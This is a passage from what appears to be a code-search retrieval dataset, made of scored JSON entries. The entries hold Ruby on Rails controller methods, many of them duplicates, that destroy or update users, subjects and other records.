"docid": "c21e400eb9ceef696a81377597e63a42", "score": "0.7291842", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c21e400eb9ceef696a81377597e63a42", "score": "0.7291842", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "31be2fbd2b5aedc5e7088866cdb5f8a3", "score": "0.72909135", "text": "def delete_user_data(user_id)\n # Define a path referencing the user data using the user_id\n path = \"/d2l/api/lp/#{$lp_ver}/users/#{user_id}\" # setup user path\n _delete(path)\n puts '[+] User data deleted successfully'.green\nend", "title": "" }, { "docid": "8431bdc2d158488844c8ac80db43f4b8", "score": "0.7288024", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83641ef98db66d873e35a72bb607fce1", "score": "0.7277104", "text": "def delete_user(user_id)\n start.uri('/api/user')\n .url_segment(user_id)\n .url_parameter('hardDelete', true)\n .delete()\n .go()\n end", "title": "" }, { "docid": "376b4f7e152f407f3e5ee2b58bebf40d", "score": "0.7276982", "text": "def destroy\n @user = User.find(params[:id]) \n # then delete the user\n @user.destroy \n \n respond_to do |format|\n format.html { redirect_to users_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "47906c177f4a86a8afc6f4f47f000281", "score": "0.727592", "text": "def destroy\n @user = User.find(params[:id])\n \n if @user.destroy\n render json: @user, status: :ok \n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "47a21f1095730d24ed4fb5dbb5e6c243", "score": "0.72750896", "text": "def remove_user\n query_api \"/rest/user\", nil, \"DELETE\"\n end", "title": "" }, { "docid": "f94ce5c1d8c9e9ebe6c6588ca8157df7", "score": "0.7272", "text": "def destroy\n\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "d3a4b50114274c5e32c86fee540d5fd2", "score": "0.7250935", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "50196c0b5827d2e60db51073eca353c1", "score": "0.72436607", "text": "def delete_user_with_request(user_id, request)\n start.uri('/api/user')\n .url_segment(user_id)\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .delete()\n .go()\n end", "title": "" }, { "docid": "a3555514a8c25eb906e0889f6912510b", "score": "0.7242216", "text": "def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1d85d99e83755aa6408d1f2766310519", "score": "0.7234411", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n #format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1ccef367f08990fca2ee686c16260da8", "score": "0.7232177", "text": "def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
84337c4b17c37acd54e0c65859174178
PATCH/PUT /pcs/1 perform update: need permission to modify; check for update closed PCP Subjects is performed implicitly by whitelisting only :archived flag for closed PCP Subjects
[ { "docid": "31b764e8a6cdb682d2c2ea9e6f27b997", "score": "0.72099084", "text": "def update\n unless permission_to_modify?\n render_no_permission\n return\n end\n respond_to do |format|\n if @pcp_subject.update( pcp_subject_params )\n format.html { redirect_to @pcp_subject, notice: I18n.t( 'pcp_subjects.msg.edit_ok' )}\n else\n @pcp_groups = get_groups_for_select\n @pcp_categories = permitted_categories\n get_item_stats\n format.html { render :edit }\n end\n end\n end", "title": "" } ]
[ { "docid": "84e1e69ab964ce5c377226c92258fcd2", "score": "0.62117237", "text": "def update\n respond_to do |format|\n if @civil_subject.update(civil_subject_params)\n format.html { redirect_to admin_civil_subjects_path, notice: 'Civil subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @civil_subject }\n else\n format.html { render :edit }\n format.json { render json: @civil_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99aabc1d11c49c31232c6dfa9b8eb88b", "score": "0.61843854", "text": "def update\n respond_to do |format|\n if @civil_subject.update(civil_subject_params)\n format.html { redirect_to admin_civil_subjects_path, notice: 'Civil subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @civil_subject }\n else\n format.html { render :edit }\n format.json { render json: @civil_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "44cb44dac4969c972703e6a1bcf847b9", "score": "0.59979373", "text": "def update\n @subject = Subject.find(params[:id])\n\n if params[:subject][:archived]\n @subject.toggle!(:archived)\n flash[:notice] = \"'#{@subject.name}' was successfully archived.\"\n redirect_to(subjects_path)\n else\n \n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n flash[:notice] = 'Subject was successfully updated.'\n format.html { redirect_to(@subject) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n end\n end\n \n end\n end", "title": "" }, { "docid": "8751700539d1a69f2e972c4a9ca79144", "score": "0.5992619", "text": "def update\n subject_data\n @elective_subjects ||= @elective_group.subjects \\\n if params[:elective_group_id]\n @subject.update(subject_params)\n flash[:notice] = t('subject_update')\n flash[:notice] = t('elective_update') if params[:elective_group_id]\n end", "title": "" }, { "docid": "563ba7be6592d6f8c1ba3891b252c574", "score": "0.5991147", "text": "def update\n add_breadcrumb \"Subjects\", list_subjects_path\n add_breadcrumb \"Edit Subject\"\n \n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b1a4a7ba7d77da579be528052cab11dc", "score": "0.595432", "text": "def update\n respond_to do |format|\n if @cycle_has_subject.update(cycle_has_subject_params)\n format.html { redirect_to @cycle_has_subject, notice: 'Cycle has subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @cycle_has_subject }\n else\n format.html { render :edit }\n format.json { render json: @cycle_has_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2d202b2727c2de82fa75da07380858df", "score": "0.59505963", "text": "def update\n @csesubject = Csesubject.find(params[:id])\n\n respond_to do |format|\n if @csesubject.update_attributes(params[:csesubject])\n format.html { redirect_to @csesubject, :notice => 'Csesubject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @csesubject.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9b2dff22665e0263081d370dd73efa17", "score": "0.5949635", "text": "def update\n respond_to do |format|\n if @pc.update(pc_params)\n format.html { redirect_to campaign_pcs_path(@campaign), notice: \"PC was successfully updated.\" }\n format.json { render :show, status: :ok, location: @pc }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @pc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ec1939e53d34d6459b2fdfd89438428b", "score": "0.59029776", "text": "def update\n unless params[:pid]\n redirect_to '/error'\n return\n end\n\n @user = User.find_by(public_id: params[:pid])\n unless @user\n redirect_to '/error'\n return\n end\n\n if @user.pending_subject_settings != '[]'\n @user.subject_settings = @user.pending_subject_settings\n @user.pending_subject_settings = '[]'\n end\n @user.verified = true\n @user.subscribed = true\n\n if @user.valid?\n @user.save!\n else\n redirect_to '/error'\n return\n end\n end", "title": "" }, { "docid": "eb16fb024c4d5a6e04b6efc630c0ffe8", "score": "0.58795553", "text": "def update\n respond_to do |format|\n if @course_has_subject.update(course_has_subject_params)\n format.html { redirect_to @course_has_subject, notice: 'Course has subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_has_subject }\n else\n format.html { render :edit }\n format.json { render json: @course_has_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "851312a427aab202e998fe48c0099c77", "score": "0.58537066", "text": "def update\n @planned_responce = Subscription.find(params[:subscription_id]).planned_responces.find(params[:id])\n\n respond_to do |format|\n if @planned_responce.update_attributes(params[:planned_responce])\n format.html { redirect_to([@planned_responce.subscription, @planned_responce], :notice => 'Planned responce was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @planned_responce.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d9eb6762883133c37935f06b98e397f2", "score": "0.5847678", "text": "def update\n @admin_subject = Admin::Subject.find(params[:id])\n\n respond_to do |format|\n if @admin_subject.update_attributes(params[:admin_subject])\n format.html { redirect_to @admin_subject, notice: 'Subject was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39d904c4fd28f5c2677ee54ee9afb92c", "score": "0.5847055", "text": "def update\n @subject = Subject.find(params[:id])\n\n if @subject.update_attributes(params[:subject])\n head :no_content\n else\n render json: @subject.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "ba5fe5844f1ac986971f084a28b182a7", "score": "0.5846492", "text": "def update\n @subject = Subject.find(params[:id])\n\n if @subject.update(subject_params)\n head :no_content\n else\n render json: @subject.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "3168564fa1ece676f66843613b5afc36", "score": "0.5815681", "text": "def update\n @course_subject = CourseSubject.find(params[:id])\n\n respond_to do |format|\n if @course_subject.update_attributes(params[:course_subject])\n format.html { redirect_to @course_subject, notice: 'Course subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "248b413f512b090a0902f33b39912391", "score": "0.5811042", "text": "def update\n respond_to do |format|\n if @page_subject.update(page_subject_params)\n format.html { redirect_to @page_subject, notice: 'Page subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @page_subject }\n else\n format.html { render :edit }\n format.json { render json: @page_subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "abd6d650e85a75e903c00469a8f28306", "score": "0.5807194", "text": "def update\n params\n ['equipment_print_printable_ids', 'material_print_printable_ids', 'service_print_printable_ids',\n 'equipment_online_onlineable_ids', 'material_online_onlineable_ids', 'service_online_onlineable_ids'].each do |cat|\n params[:company][cat] = [] if params[:company][cat].blank?\n end\n respond_to do |format|\n if @company.update(company_params)\n format.html { redirect_to admin_companies_path, notice: 'Company was successfully updated.' }\n format.json { head :no_content }\n system \"rake ts:index\"\n else\n format.html { render action: 'edit' }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8f0031e0830e1b11aca15785487656a8", "score": "0.57965493", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subjects, notice: 'Subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7ba540cad1ae1d2131cc37e7f7ed458f", "score": "0.5793808", "text": "def update\n @subject = Subject.find(params[:id])\n @cart = current_cart\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to(@subject, :notice => 'Subject was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1e00c0847d470d32917793cbdc82562b", "score": "0.5792638", "text": "def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to admin_subject_path(@subject), notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e084f99d57ec2f70c835fcd80b7cf561", "score": "0.5788096", "text": "def update\n @pt_report_schedule = authorized_pt_report_schedule\n\n respond_to do |format|\n if @pt_report_schedule.nil?\n format.html { redirect_to :back, notice: 'Invalid Report Schedule' }\n format.json { render json: {error: 'Invalid Report Schedule'}, status: :unprocessable_entity }\n else\n if @pt_report_schedule.update_attributes_custom(params[:pt_report_schedule])\n format.html { redirect_to :back, \n notice: 'Report schedule was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pt_report_schedule.errors, \n status: :unprocessable_entity }\n end\n end\n end\n end", "title": "" }, { "docid": "3f9a0b5c970af9527a1f30deb5cd8a33", "score": "0.57864213", "text": "def update\n @pcc_communication_request = PccCommunicationRequest.find(params[:id])\n\n respond_to do |format|\n if @pcc_communication_request.update_attributes(params[:pcc_communication_request])\n format.html { redirect_to @pcc_communication_request, notice: 'Pcc communication request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pcc_communication_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d3ad115a5b18bbb7c0e3874d85b8dcd1", "score": "0.5783462", "text": "def update!(**args)\n @aia_issuing_certificate_urls = args[:aia_issuing_certificate_urls] if args.key?(:aia_issuing_certificate_urls)\n @authority_key_id = args[:authority_key_id] if args.key?(:authority_key_id)\n @cert_fingerprint = args[:cert_fingerprint] if args.key?(:cert_fingerprint)\n @config_values = args[:config_values] if args.key?(:config_values)\n @crl_distribution_points = args[:crl_distribution_points] if args.key?(:crl_distribution_points)\n @public_key = args[:public_key] if args.key?(:public_key)\n @subject_description = args[:subject_description] if args.key?(:subject_description)\n @subject_key_id = 